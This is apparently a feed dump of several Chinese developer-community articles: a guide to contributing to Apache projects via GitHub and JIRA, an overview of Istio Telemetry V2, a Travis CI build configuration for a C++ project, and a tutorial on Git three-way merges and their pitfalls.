      理想总是美好的,现实总是骨感的,参与社区的人都具备热情,耐心的品质,但社区的问题太多,需要得到帮助的人也太多,相同问题千人千面,意见不一致也是司空见惯的,切记不要意以为提的问题都会很快有人帮忙,你提交的PR很快有人Review。每个的社区贡献都需要如下图所示的投票决定,也许你的贡献被接受,也许你的贡献被拒绝,但请不要太在意一次的贡献成功与否,无轮遇到什么困难,挫折,都要 Never, Never, Never Give Up(永不放弃),因为马总说过 “今天很残酷,明天更残酷,后天很美好,但是绝大部分人是死在明天晚上,看不到后天的太阳”。 只有坚持到最后的人,才能享受到和煦的阳光!

    如何开始

    最常见的参与Apache贡献的方式是选择一个你感兴趣的项目,因为爱好才是最好的原动力!我曾经用一句话描述过ASF:“ASF是一个与阿里巴巴同龄(成立于1999年),有完整的组织(董事会)架构管理,以软件(140个领域)技术全球(覆盖230个国家)共享为使命的公益组织",里面提及 ASF有140个技术领域总有一个你感兴趣的!

    image.png
    image.png
    image.png

    ASF 项目目前分为两大类:

    • 孵化器项目 - 是正在孵化的项目,也就是,在成为ASF 顶级项目之前,需要在ASF进行孵化,当从孵化器毕业之后就会成为Apache顶级项目。参与孵化器项目的好处是你能对项目有更早的参与,有多细节变化的了解,也很容易得到该项目的重视:),目前ASF所有孵化器项目列表请这里查阅
    • Apache 顶级项目 - 这是已经从孵化器毕业的Apache 顶级项目,顶级项目的运作一般已经完全符合Apache Way。直接参与顶级项目的好处是能开始就接触很规范的社区贡献方式和更高的质量代码,有更多的学习资料和更多的参与者。目前Apache 顶级项目列表,可以查阅这里

    一旦选择参与某个项目,不论在什么情况下,你都要听从自己的直觉,做你认为更好或者不同的事情。永远都不忘初心,坚持自己所坚持的~~,也永远牢记上面的原则,其中你会发现“给世界带来微小而美好的改变”非常受用。假如,你在查看文档时候,发现了某个链接的错误或者typo错误。假如,你在使用产品的过程中发现了问题,请不要坐视不理,径直绕开,或者向社区提出问题,等待其他人来修复,因为这正是你贡献社区的好机会,解决这些你能看到的问题,因为,在解决这个问题的同时,也许会有新的问题被你发现~~ 进而你就入道啦:)

    准备工作

    目前ASF开源项目都是在github上面托管的。所以正式参与ASF开源贡献之前你要做一些准备工作:

    创建一个github账号

    点击创建,为了演示,我创建了一个“pyflink”账号 :)

    Fork 你要参与的项目

    Apache Flink为例,如下:
    image.png

    点击 “Fork” 之后,会在你的github账号下出现一个flink项目,如下:
    image.png

    Clone 代码到本地

    做代码贡献之前需要Clone你刚才fork的Flink代码到你本地,以备提交第一个社区贡献PR!
    image.png
    image.png`

    阅读项目贡献说明

    一般具体项目会有介绍如何参与该项目的贡献,以Apache Flink为例 就有关于如果参与Flink社区贡献的说明, 比如:

    Apache Flink is developed by an open and friendly community. Everybody is cordially welcome to join the community and contribute to Apache Flink. There are several ways to interact with the community and to contribute to Flink including asking questions, filing bug reports, proposing new features, joining discussions on the mailing lists, contributing code or documentation, improving the website, or testing release candidates.

    详情查阅这里

    订阅邮件列表

    社区问题大多会在具体项目的社区邮件列表里面进行讨论,所以邮件列表是了解社区动态最重要的收入,以Apache Flink 为例,最要要订阅 开发邮件列表和用户邮件列表,如下:

    首先,点击上面的link,会引导你给 xxx-subscribe@flink.apache.org 发送邮件。然后你会收到官方确认邮件。最后你回复确认邮件之后还会收到一封欢迎邮件,也就意味这你订阅成功了!注意上面每个邮件列表都需要单独发起订阅。
    OK, 到这一步你已经完成了为Apache Flink做贡献的准备工作了:),接下来就要寻找做贡献的机会了!

    创建issue或者解决issue

    目前大多数ASF项目的问题采用JIRA管理(当然也有例外),我们以Apache Flink为例,当用户发现的问题可以在这里查阅。 如果你发现有你感兴趣的issue,不要由于,直接在JIRA下放留言,你想帮忙解决这个问题,并share你解决问题的方法,这样社区会有Committer来与你沟通了!以一个早起我向Flink提及贡献的issue为例 FLINK-13471
    image.png

    当发现有人创建了issue,但还没有分配给任何人,你就可以尝试帮助解决这个问题,在完成开发后提交PR。

    当然,如果你发现了问题,如果是你确认的小问题,可以直接创建新的issue, 如果你对这个问题并不确定,可以在开发邮件列表里面就像邮件讨论。当确认问题之后,再创建issue.

    提交PR

    不论你是修复文档还是贡献代码,都建议在你刚才fork的项目中创建一个用于提交PR的分之,以我上面的为例,我会本地创建一个名为LINK-13473-PR的分支,当完成开发之后,将分支push到自己的仓库,就可以创建PR了,如下:
    image.png

    点击“Compare & pull request”,进行PR创建,如下:

    image.png

    创建PR,有几个值得注意的点:

    • 确保你的分支和官方git的master分支没有冲突,也就是如图显示“ Able to merge.”。
    • 要对PR所要解决的问题,在Title里面简明的体现出来,比如“ FLINK-13471 Add FlatAggregate support to stream Table API(blink planner) ” 明确了 JIRA号FLINK-13471, 模块table 和PR的内容是Add FlatAggregate support to stream Table API(blink planner)
    • 同时在详情里面要清楚的描述你改动的点,不同项目有不同的要求,但总体上保持上面提到的 前进一小步,文明一大步的原则,你些的也清楚,Review的人越容易理解你的改动,你的PR约容易被得到有效的反馈。

    最后,点击“create pull request”完成PR的创建!不过,这还没有完成社区贡献,还需要等待社区其他贡献者的Review。

    正常情况下,除非是typo的贡献,一般有代码逻辑的PR都会或多或少的得到reviewer的改进反馈,这时候就是学习交流的好机会啦:) 你可以尽可能的发表你的看法,解释你的设计,当然也要充分理解反馈的内容,最后根据沟通达成的内容进行PR的更新!

    最后。。。最后。。。最后 达到了社区代码质量的要求,Committer会帮助你进行代码的Merge,这样你就完成了社区第一份贡献喽!!

    开始1-100之旅

    常识性观念是0-1很难,因为那是创新,那是新领域的探索,那是酝酿了很久之后的第一步!但是参与ASF开源贡献,恰恰是0-1很容易,1-100才是一个持久战。需要上面提到的 “Never, Never, Never Give Up(永不放弃)”, 因为我真的看到了很多社区贡献者在一个社区贡献了一段时间之后,如果没有拿到自己想要的结果,比如成为Committer,就会永远的在这个项目贡献里面消失了,Give Up 了!这不是危言耸听,这是真是的现实!所以在ASF开源贡献的道理上,的确有很多人被 马老师的话所命中:“今天很残酷,明天更残酷,后天很美好,但是绝大部分人是死在明天晚上,看不到后天的太阳”。所以,你...准备好了吗?:)

    但行善事,莫问前程

    不论做人,做事还是社区贡献,很多道理都是想通的,在下面的ASF金字塔中,我们从 贡献者 到 董事会成员的路是漫长的,如果你天天想着什么时候成Committer,什么时候成为PMC成员,什么时候成为ASF Member,什么时候能够当选董事会成员,我确信,在ASF开源贡献中,你将无法做到 “快乐工作,认真生活”!过急的目标驱动会增加你的烦恼,相反,登山而不思山顶 攀登,将会迎来一路的惊喜!所以在参与开源的开始,我最后的建议就是:“但行善事,莫问前程”!加油⛽️

    image.png

    阿里土话为你打气

    我相信在ASF开源贡献之旅,你会有很多次要放弃的念头,你会遇到很多怀疑自己的时刻,你会时不时的怀疑社区管理者是否有问题?总之,如果你想把他当作一生的乐趣,在你没有找到乐趣之前,你一定需要下面的在文章开头已经提及的三句话:

    • 给世界带来微小而美好的改变
    • 把幸运种子种到别人身上去,你才会有幸运
    • Never, Never, Never Give Up(永不放弃)

    你参与社区的目的是为了尽自己微薄之力,来让ASF开源社区更美好!
    你参与社区的信念是为其他人播撒幸福幸运的种子,你并没有在乎得到什么汇报,你相信“因果”!
    你参与社区的坚守是永不放弃,因为只要我在前行,必将抵达彼岸!永不放弃要深刻你脑海!

    我很喜欢上面这三句阿里土话,我们共勉把!

    诚挚邀请

    我目前在负责Apache Flink的PyFlink建设,诚挚邀请想参与ASF社区贡献的你,以PyFlink作为你的开源之旅的首站!期待在Apache Flink社区PyFlink的建设中,遇见你~~

    image.png

    小结

    本篇为大家介绍了参与开源的利好,原则,以及介绍为自己的第一个社区贡献需要做怎样的准备。最后诚挚邀请想参与开源建设的朋友首站加入Apache Flink 的PyFlink建设!

    查阅更多内容

    ]]>
    ISTIO telemetry V2 介绍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

    ISTIO 早期版本(1.4以前)的架构非常优雅, 模块之间解耦清晰,职责分明。 但现在看来有一定理想化,所有流量通过Mixer,通过Mixer 统一采集和上报所有的遥测数据和服务间访问鉴权,导致一旦规模上来,Mixer 非常容易成为性能瓶颈。

    image.png



    Telemetry V2介绍 

    在1.4中,ISTIO提出 Mixer-less telemetry 架构,将Mixer 从主流程抽离。 将遥测和服务鉴权能力下沉到每个服务的代理Proxy Envoy中。了解ISTIO 以前架构的同学应该都知道,Mixer 是一个热拔插组件,有极好的扩展性。 支持代码中注册编写Adapter并重新打包的方式更新遥测对接的配置,也支持配置 Out Of Process Adapter  这样的外部适配器,进行遥测的对接和动态配置。但提供灵活性同时,也成为了整个ISTIO 明显的性能瓶颈。

    image.png


    image.png

    Istio 中Telemetry V2的实现

    那么ISTIO 1.4 是如何实现 Mixerless 的呢?
    在1.4中, 服务的遥测和访问鉴权从Mixer逐渐开始下沉到Envoy中, 从而经过我们应用的出入流量不必全部上报到Mixer,实现了Mixer 旁路。   服务遥测在Envoy中完成追踪服务之间的流量请求,并在Envoy所在Pod中监听相关端口,提供Prometheus采集指标。

    image.png

    那么在ISTIO 支持EnvoyFilter  这个CRD,它提供一种机制,可以帮助我们定制 Pilot 所生成并下发给Envoy 配置,在EnvoyFilter中我们能够定义生效的pod范围,注入的时机以及执行内容。 同样EnvoyFilter支持WebAssembly,  我们可以通过EnvoyFilter 配置WebAssembly的执行时机,实现Envoy 的流量管理策略的更新, 例如:  https://istio.io/blog/2020/deploy-wasm-declarative/ 。
    目前在ISTIO 维护的Envoy proxy中, 支持部分内置的WebAssembly 扩展, 目前有4个内置WebAssembly扩展(access_log_policy,stackdriver, stats,metadata_exchange)代码: https://github.com/istio/proxy/tree/master/extensions 

    • 其中access_log_policy,stackdriver 是用于往Google StackDriver推送数据
    • metadata_exchange和stats 用于遥测。 

      • metadata_exchange 会做reqeust和response的上下游标记,记录请求
      • stats 采集请求相关监控指标,暴露Prometheus 可采集的接口。

    image.png

    阿里云服务网格

    阿里云服务网格 目前已经通过Telemetry V2的方式支持Prometheus 监控遥测,您可以在控制台一键开启或者关闭遥测功能,并将监控数据采集到自建Prometheus 或者 阿里云ARMS 中。

    阿里云服务网格动态配置遥测

    image.png

    查看请求数据的监控大盘

    image.png

    ]]>
    开源代码使用Travis CI 之c++ Linux篇-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1. Travis CI的作用

    Travis CI 官网:

    https://travis-ci.org/

    Travis CI是一个提供持续集成的工具,如果您正在开发一个开源项目,那么Travis CI是一个免费的工具,可以在有push动作时,自动完成编译,编译结果可以通过一个图标来显示。

    比如我们在工程的README.md中加入下列代码

    [![Build Status](https://api.travis-ci.org/aliyun/CicadaPlayer.svg?branch=develop)](https://travis-ci.org/aliyun/CicadaPlayer)

    在github的项目主页上就可以显示这样一个图标

    表示编译成功,这样任何人在任何时候都可以一目了然的知道该工程是否可以编译通过。

    2. 如何实现一个Travis CI 

    本文以开源代码https://github.com/aliyun/CicadaPlayer/ 为例简单介绍一下实现一个c++功能的编译实现。

    先使用自己的github账号登录到Travis CI 官网,然后同步和设置自己的项目,这里就不多说了。当然Travis CI 官网也有很多文档可以去看。

    Travis CI会默认查找工程里面的一个.travis.yml的文件,根据这个文件来执行整个编译过程。

    想在Travis CI上实现自动化编译,前提是肯定需要在本地机器有自动化编译脚本,本文示例工程是跨平台的编译,我们先实现他的Linux平台的编译。

    本文示例工程的编译流程可以参考

    https://github.com/aliyun/CicadaPlayer/blob/develop/doc/compile_Linux.md

    简单来说就是在Ubuntu 18.04的机器上安装一些软件,然后执行编译

    • 选择Ubuntu 18.04

         在Travis上可以选择Linux编译环境

    os:
    - linux  表示要使用Linux编译环境

    dist: bionic 这个是Ubuntu的18.04的版本代号,表示要用Ubuntu 18.04,

    这里注意,我们尽量选择本机编译环境和Travis环境一致,这样在编译出错的时候,我们很容易定位问题。我们这里都选择Ubuntu 18.04.

    • 安装一些软件

    Ubuntu 上安装软件需要sudo权限,所以

    sudo: required

    一般在before_install阶段去安装一些工具

    - sudo apt-get update
    - sudo apt-get install -y yasm
    - sudo apt-get install -y libsdl2-dev

    由于本文示例工程使用的cmake版本比较高,根据Travis官方文档默认的cmake版本是3.12,所以我们要升级一下cmake
    - wget "https://github.com/Kitware/CMake/releases/download/v3.16.2/cmake-3.16.2-Linux-x86_64.tar.gz"
    - tar zxvf cmake-3.16.2-Linux-x86_64.tar.gz
    - export PATH=`pwd`/cmake-3.16.2-Linux-x86_64/bin:$PATH

    本文示例工程在Linux环境下需要使用clang,在Travis上也可以轻松实现
    compiler:
    - clang

    后面两个阶段就是直接运行在本机已经运行通过的编译脚本了。 

    language: cpp
    sudo: required
    dist: bionic
    compiler:
    - clang
    os:
    - linux

    before_install:
    - sudo apt-get update
    - sudo apt-get install -y yasm
    - sudo apt-get install -y libsdl2-dev
    - wget "https://github.com/Kitware/CMake/releases/download/v3.16.2/cmake-3.16.2-Linux-x86_64.tar.gz"
    - tar zxvf cmake-3.16.2-Linux-x86_64.tar.gz
    - export PATH=`pwd`/cmake-3.16.2-Linux-x86_64/bin:$PATH

    before_script:
    - . setup.env
    - cd external/
    - ./build_external.sh Linux
    - cd ../

    script:
    - cd cmdline/
    - mkdir build
    - cd build
    - cmake ../
    - make cicadaPlayer -j8

    运行时,Travis会首先分配一个虚拟机给你,随便你在这个虚拟机里面怎么搞,编译完成后,虚拟机就删掉了。

    我也是今天刚刚接触到Travis,如Android iOS macOS如何编译,都需要探索,如果支持多平台等,后面需要进一步学习。

     

     

    爱词霸

     ]]> Git-Merge 的那点事儿-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 如果您在代码合并时发现 Git 合并结果不符合预期,您是否曾怀疑 Git 出现了 bug ?我希望您把这个选项放在最后。让我们一起来看看 Git-Merge 的那点事儿,一起来查找并解决代码合并的异常...

    理解三路合并

    Git 在分支合并时,采用三路合并的方法。不管合并的两个分支包含多少提交,Git 合并操作只关心代码的三个版本,即:合并双方的两个版本和一个基线版本。

    看下我们的示例程序,使用 Go 语言开发,执行结果如下:

    $ git clone https://github.com/jiangxin/git-merge-demo.git
    $ cd git-merge-demo
    $ git checkout demo-1/user-1 --
    $ go build -o demo
    $ ./demo
    Topics:
      ♠
      ♥ ♥ 
      ♣ 
    

    该示例程序输出一些符号,每行输出同一种符号,代表了某一个特性,符号个数代表该特性功能上的异同。

    我们可以看到 "demo-1/user-1" 分支上,"demo" 程序有三个特性。特性 "♠"(一颗)、特性 "♥"(两颗)、特性 "♣"(一颗)。

    同样我们在 "demo-1/user-2" 分支上会看到不同的特性输出:

    ♠ ♠ ♠ 
    ♥ ♥ ♥ 
    ♦ ♦   
    

    这两个分支各自包含三个特性。如果要将这两个分支合并在一起,那么 "demo-1/user-1" 分支上独有的 "♣" 特性应该出现在最终的合并结果中么?"demo-1/user-2" 分支上独有的 "♦" 特性应该出现在最终的合并结果中么?对于双方共同拥有的 "♠" 特性在合并结果中是出现一次,还是重复出现三次呢?

    仅从上面这两个分支信息,我们很难推导出合理的合并结果。这时必须要考虑一个问题:这两个分支的特性是如何演变来的。我们要寻找这两个分支的共同的祖先提交,即寻找基线。

    借助 git merge-base 命令,我们可以看到基线提交编号是 228ec07

    $ git merge-base --all demo-1/user-1 demo-1/user-2
    228ec07e07ac83295b96be1ad55adfbd0c870f74
    

    注意:上面命令中的 --all 参数会显示两个分支所有的基线提交,可能的结果有:

    • 0 条基线。即两个分支没有重叠,没有公共的历史提交。
    • 1 条基线。大多数合并场景两个分支存在一条基线。
    • 多条基线。可能的场景有:1、两条分支都是集成分支,都接受来自各个特性分支的合入。2、特性分支之间存在依赖关系,复杂的特性分支和集成分支之间可能存在多条基线。

    本例只有一条集成分支。从下面的 git-log 命令可以看出本例的两个分支提交历史还是很简单的,两个分支各自独有的提交标记为 "+" 和 "x",共有的提交标记为星号。从这两个分支提交历史的重叠部分,我们很容易看出来重叠的顶端提交 228ec07 即是我们要找的基线提交。

    $ git log --graph --oneline demo-1/user-1 demo-1/user-2
    
    + 34b76a2 (demo-1/user-2) Topic 4: ♦ ♦
    + dfdce61 Remove topic 3
    + 68bc440 Topic 2: ♥ ♥ ♥
    | x 55e002f (demo-1/user-1) Topic 1: ♠
    |/  
    * 228ec07 (demo-1/base) Topic 3: ♣
    * d1f0d8c Topic 2: ♥ ♥
    * 8f19971 Topic 1: ♠ ♠ ♠
    * bfdeca2 Demo for git 3-way merge
    

    切换到基线提交 228ec07 上执行看看:

    $ git checkout 228ec07 --
    $ make
    Topics:
      ♠ ♠ ♠ 
      ♥ ♥ 
      ♣     
    

    下图综合了该程序三个版本,那么合并版本是不是呼之欲出了呢?

    基线版本      User-1 版本      User-2 版本       合并版本
    ========    =============    =============    ===========
     ♠ ♠ ♠          ♠                ♠ ♠ ♠             ?
     ♥ ♥            ♥ ♥              ♥ ♥ ♥             ?
     ♣              ♣                                  ?
                                     ♦ ♦               ?
    

    对于特性 ♠ ,相比基线版本,User-1将其修改为一颗,User-2 没有修改;对于特性♥,相比基线,User-1没有修改,User-2将其修改为三颗;对于特性♣,User-1没有修改,User-2将其删除;而对于特性♦,是由 User-2 新引入的特性。

    让我们执行命令来看一下真实的合并结果吧:

    $ git checkout demo-1/user-1
    $ git merge demo-1/user-2
    $ make
    Topics:
      ♠ 
      ♥ ♥ ♥ 
      ♦ ♦ 
    

    Revert 操作引发的“异常”合并结果

    下面我们来看一个“异常”的合并。

    在分支 "demo-2/topic-1" 运行,显示如下:

    $ git checkout demo-2/topic-1
    $ make
    
      ◉ ◉ ◉ 
      ▲ ▲ 
      △ △ △ 
    

    其中特性 ◉ 是主干 "demo-2/master" 引入的特性。Topic-1 引入两个子特性: ▲ 和 △ 。

    在分支 "demo-2/topic-2" 运行,显示如下:

    $ git checkout demo-2/topic-2
    $ make
    
      ◉ ◉ ◉ 
      ♡ ♡ ♡ 
    

    在主干分支 "demo-2/master" 运行,显示如下:

    $ git checkout demo-2/master
    $ make
    
      ◉ ◉ ◉ ◉ 
      ♡ ♡ ♡ 
    

    我们可以看出主干分支的特性 ◉ 演进了,而且已经包含了 "demo-2/topic-2" 分支的特性。

    现在将 "demo-2/topic-1" 分支合并到主干分支 "demo-2/master",看看合并解决是否符合预期:

    $ git checkout demo-2/master
    $ git merge demo-2/topic-1
    $ make
    
      ◉ ◉ ◉ ◉ 
      △ △ △ 
      ♡ ♡ ♡ 
    

    看出问题了么?"demo-2/topic-1" 分支的特性没有全部合入,只合入了特性 △ ,而丢失特性 ▲ !

    让我们来分析一下:

    • 先撤回刚刚的合并提交。

      
          $ git reset --hard HEAD^
      
    • 计算合并基线:

      
          $ git merge-base --all demo-2/topic-1 demo-2/master 
          5db8ab7c5c1d2ede82096ae890446c290a664060
      
    • 切换到这个基线版本:

      
          $ git checkout 5db8ab7c5c1d2ede82096ae890446c290a664060 --
          $ make
      
            ◉ ◉ ◉ 
            ▲ ▲ 
      
    • 基线版本有特性 ▲ ,分支 "demo-2/topic-1" 也有特性 ▲ ,但是主干分支 "demo-2/master" 上并没有特性 ▲。

    按照三路合并的原理分析,我们看出合并结果丢失特性 ▲ 是预料中的:

    
        基线 5db8ab7   demo-2/master   demo-2/topic-1   合并版本
        ============   =============   ==============   ========
           ◉ ◉ ◉          ◉ ◉ ◉ ◉          ◉ ◉ ◉        ◉ ◉ ◉ ◉ 
           ▲ ▲                             ▲ ▲         
                                           △ △ △        △ △ △ 
                          ♡ ♡ ♡                         ♡ ♡ ♡   
        
    • 下面命令用于查询基线 5db8ab7 之后主干分支的变更,看看哪个提交删除了特性 ▲ :

      $ git log --stat --oneline 5db8ab7..demo-2/master
      .... ....
      e50fc0b Topic 1 is not complete, and is not ready for merge
      topic/topic-1.1.go | 20 --------------------
      1 file changed, 20 deletions(-)
      .... ....

    从上面的日志输出,我们看到主干分支 "demo-2/master" 上的一个可疑提交 e50fc0b。这个提交删除了文件 "topic-1.1.go"。提交说明表明“因为当时 topic1 功能尚未完整,故撤回不完整的合并提交”。

    如何才能将 "demo-2/topic-1" 特性完整地合入呢?采用如下操作:

    1. 对提交 e50fc0b 再次执行一次撤回操作。

          $ git checkout demo-2/master --
          $ git revert e50fc0b
      
    2. 然后再合并分支 "demo-2/topic-1"。

          $ git merge demo-2/topic-1
      
    3. 执行程序,查看合并效果。

          $ make
      
            ◉ ◉ ◉ ◉ 
            ▲ ▲ 
            △ △ △ 
            ♡ ♡ ♡ 
      

    操作完成,我们看到 "demo-2/topic-1" 分支完整的特性都合入了。

    “脏合并”引发的“异常”

    下面我们来看另外一个“异常”的合并。

    在当前版本的开发分支 "demo-3/master" 运行,显示如下:

    $ git checkout demo-3/master
    $ make
    
      ◉ ◉ ◉ ◉ ◉ 
      ♠ ♠ ♠ ♠ 
      ♦ ♦ ♦ 
    

    其中特性 ◉ 是主干 "demo-3/master" 引入的特性。其余两个特性 ♠ 和 ♦ 是从相应的特性分支合入的。

    接下来,在下一个版本的开发分支 "demo-3/next" 中运行,显示如下:

    $ git checkout demo-3/next
    $ make
    
      ❍ ❍ ❍ ❍ 
      ♠ ♠ ♠ ♠ 
      ♥ ♥ 
      ♦ ♦ ♦ 
    

    其中特性 ❍ 是新版本主干 "demo-3/next" 引入的特性。其余三个特性 ♠、♥ 和 ♦ 是从相应的特性分支合入的。

    现在要将当前版本 "demo-3/master" 合入到下一个新版本的开发分支 "demo-3/next" 中,运行如下:

    $ git checkout demo-3/next
    $ git merge demo-3/master
    $ make
    
      ◉ ◉ ◉ ◉ ◉ 
      ❍ ❍ ❍ ❍ 
      ♠ ♠ ♠ ♠ 
      ♦ ♦ ♦ 
    

    我们看到合并后,"demo-3/master" 分支的特性 ◉ 被引入了,但是 "demo-3/next" 分支原有的特性 ♥ 被删除了。如果特性 ♥ 是需要的,那么合并后为何会丢失特性 ♥ 呢?

    我们按照三路合并的原理来分析一下。

    首先查看下分支 "demo-3/master" 以及分支 "demo-3/next" 合并前提交(即 "demo-3/next~1")的基线:

    $ git merge-base --all demo-3/master demo-3/next~1
    e54a597938d7aaa20c8b3ce79d0b6c5bca8404e7
    6b57153213757421f83523d1b03f7743aa654160
    b2c844810a095a4e05763ffaff326101e61d444f
    

    惊奇的发现,基线居然有三条!这实际上是三个特性分支分别向 "demo-3/master" 和 "demo-3/next" 分支合入后的结果。

    我们使用命令 git log --graph --oneline demo-3/master demo-3/next~1 查看合并双方的提交。如果只显示两个分支重合的部分,如下图所示:

       * 6b57153 (demo-3/topic-3) Topic 3: ♦ ♦ ♦
       * f1dca57 Topic 3: ♦
      /
     / 
    |  
    | * b2c8448 (demo-3/topic-2) Topic 2: ♥ ♥
    | * 60f846d Topic 2: ♥
    |/
    |
    | * e54a597 (demo-3/topic-1) Topic 1: ♠ ♠ ♠ ♠
    | * 3ccbd75 Topic 1: ♠ ♠
    | * 18ea90f Topic 1: ♠
    |/
    |
    |  
    * bfdeca2 (tag: v0) Demo for git 3-way merge
    

    会看到有三个端点对应三条基线。

    那么对于多基线场景,如何来分析呢?

    Git 会将多条基线合并为一个提交,再将这个提交作为唯一的基线,参与到三路合并中。

    $ git checkout -b demo-3/base e54a597
    $ git merge 6b57153 b2c8448
    $ make
    
      ♠ ♠ ♠ ♠ 
      ♥ ♥ 
      ♦ ♦ ♦ 
    

    列出下列表格分析三路合并结果:

    基线 base    master 分支     next 分支    合并结果
    =========   ============   ==========   ==========
                  ◉ ◉ ◉ ◉ ◉                  ◉ ◉ ◉ ◉ ◉ 
                                ❍ ❍ ❍ ❍      ❍ ❍ ❍ ❍ 
     ♠ ♠ ♠ ♠      ♠ ♠ ♠ ♠       ♠ ♠ ♠ ♠      ♠ ♠ ♠ ♠ 
     ♥ ♥                        ♥ ♥ 
     ♦ ♦ ♦        ♦ ♦ ♦         ♦ ♦ ♦        ♦ ♦ ♦ 
    

    从上面表格可以看出来,特性 ♥ 在基线中存在,在 "demo-3/next" 分支中也存在,但是被 "demo-3/master" 中删除了。所以导致合并结果中缺失了特性 ♥ 。

    那么 "demo-3/master" 分支是如何在基线 "demo-3/base" 之后删除了特性 ♥ 的呢?

    在一段提交历史中找出一个有问题的版本有很多办法,例如使用 git bisect 二分查找命令。不过这里使用 git log 命令就足够了。

    使用如下命令查看这段历史中非合并提交:

    $ git log --oneline --stat --no-merges demo-3/base..demo-3/master
    05f2ec3 (origin/demo-3/master, demo-3/master) Topic master: ◉ ◉ ◉ ◉ ◉
     topic/master.go | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    5daade4 Topic master: ◉ ◉ ◉ ◉
     topic/master.go | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    6325a3f Topic master: ◉ ◉ ◉
     topic/master.go | 19 +++++++++++++++++++
     1 file changed, 19 insertions(+)
    

    看到非合并提交都是在修改特性 ◉ 的,和特性 ♥ 无关。

    那么问题一定出在合并提交中。不过使用下面命令看不出来合并提交包含了哪些修改,你知道为什么吗?

    $ git log --oneline --stat --merges demo-3/base..demo-3/master
    3a69a8a Merge branch 'demo-3/topic-3' into demo-3/master
    37544d1 Merge branch 'demo-3/topic-2' into demo-3/master
    d872d8f Merge branch 'demo-3/topic-1' into demo-3/master
    

    合并提交是将两个或多个提交合并在一起,因此合并提交有两个以上的父提交。合并的结果要么选择合并的某一方的版本,要么和任何一方版本都不一样,综合了各方版本的修改。

    使用 git log -p 或者 git log --stat 显示提交差异,默认是不会显示合并提交差异的。Git 提供以下三个参数改变 git loggit diff 的行为,显示合并提交包含的差异。分别是:

    • 参数 -m:分别显示合并提交和每一个父提交的差异。如果合并有两个父提交,则分别显示两个差异比较的结果。
    • 参数 -c:将合并提交和各个父提交的差异合并在一起显示。如果和某个父提交相同,则不显示。
    • 参数 --cc:类似 -c,进一步精简补丁的显示,忽略和某一方相同的补丁的显示。

    对于本例,使用 -m 参数,执行结果如下:

    $ git log --oneline -m --stat --merges demo-3/base..demo-3/master   
    
    3a69a8a (from 37544d1) Merge branch 'demo-3/topic-3' into demo-3/master
     topic/3.go | 19 +++++++++++++++++++
     1 file changed, 19 insertions(+)
    3a69a8a (from 6b57153) Merge branch 'demo-3/topic-3' into demo-3/master
     topic/1.go      | 19 +++++++++++++++++++
     topic/master.go | 19 +++++++++++++++++++
     2 files changed, 38 insertions(+)
    37544d1 (from b2c8448) Merge branch 'demo-3/topic-2' into demo-3/master
     topic/1.go      | 19 +++++++++++++++++++
     topic/2.go      | 19 -------------------
     topic/master.go | 19 +++++++++++++++++++
     3 files changed, 38 insertions(+), 19 deletions(-)
    d872d8f (from 6325a3f) Merge branch 'demo-3/topic-1' into demo-3/master
     topic/1.go | 19 +++++++++++++++++++
     1 file changed, 19 insertions(+)
    d872d8f (from e54a597) Merge branch 'demo-3/topic-1' into demo-3/master
     topic/master.go | 19 +++++++++++++++++++
     1 file changed, 19 insertions(+)
    

    从输出中我们看到合并提交 37544d1 删除了 topic/2.go 文件。经查这个提交就是导致特性 ♥ 丢失的罪魁祸首。

    $ git log -1 37544d1
    commit 37544d18c2da92a265acd6a7a8145bed4ba51bd8
    Merge: 5daade4 b2c8448
    Author: Jiang Xin <zhiyou.jx@alibaba-inc.com>
    Date:   Sun Mar 15 19:53:56 2020 +0800
    
        Merge branch 'demo-3/topic-2' into demo-3/master
        
        * demo-3/topic-2:
          Topic 2: ♥ ♥
          Topic 2: ♥
        
        Signed-off-by: Jiang Xin <zhiyou.jx@alibaba-inc.com>
    

    如何解决合并 demo-3/master 分支丢失特性 ♥ 的问题呢?

    我们需要重新执行一次和提交 37544d1 类似的合并:

    $ git checkout 5daade4 --
    $ git merge b2c8448
    $ make
    
      ◉ ◉ ◉ ◉ 
      ♠ ♠ ♠ ♠ 
      ♥ ♥ 
    

    我们看合并的结果中出现了特性 ♥。

    然后再和错误的提交 37544d1 做一次合并,并使用当前提交中的内容。

    $ git merge -s ours 37544d1
    $ make
    
      ◉ ◉ ◉ ◉ 
      ♠ ♠ ♠ ♠ 
      ♥ ♥ 
    

    记下这个合并提交。

    $ git tag -m "fixed merge" fixed-merge
    

    切换到 "demo-3/next" 分支,合并这个刚刚创建好的正确的提交。

    $ git checkout demo-3/next --
    $ git merge fixed-merge
    $ make
    
      ◉ ◉ ◉ ◉ ◉ 
      ❍ ❍ ❍ ❍ 
      ♠ ♠ ♠ ♠ 
      ♥ ♥ 
      ♦ ♦ ♦ 
    

    完美的合并结果。

    建议

    1. 创建 pull request 代码评审时,不要在其中包含合并提交。

    因为合并提交的差异很难查看和分析,不要因此增加代码评审者的负担。开发者可以使用 git rebase 命令去掉不必要的合并提交。

    1. 如果做到了第一点,就不会出现多基线的情况。要避免多基线。

    多基线一方面增加了三路合并分析的复杂度,另外一方面导致 pull request 展示的代码差异是错的!因为绝大多数代码平台从执行效率考虑,都只会选择多条基线中的一条来和 pull request 的源分支进行比较,显示代码差异。读者可以翻到前面的示例,看看如果选择多条基线中的一条(而不是使用多条基线的合并结果)与要合并的代码进行代码比较,会是什么样的结果?

    1. 使用 git merge 命令完成分支合并,而不要使用目录比较工具去人为判断合并结果。

    因为人工选择合并结果可能造成“脏合并”,“脏合并”像是埋在提交记录中的一枚炸弹,会在未来随时引爆。

    If not now, when? if not me, who?

    如果你是一个懂代码,爱Git,有技术梦想的工程师,并想要和我们一起打造世界NO.1的代码服务和云产品,请联系我们吧!C/C++/Golang/Java 我们都要 ?

    ]]>
    按照这个java技术路线学习,分分钟搞定面试官,进大厂不是梦-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 怎么说呢,最近几年的时间里,对于java开发人员来说,都知道java生态诞生了很多东西.每半年更新一次版本,发布了很多的流行的框架,像Spring5,Spring Security 5,Spring Boot 2等,这些都给我们带来了很多的挑战,但是也带来了很大的机遇.

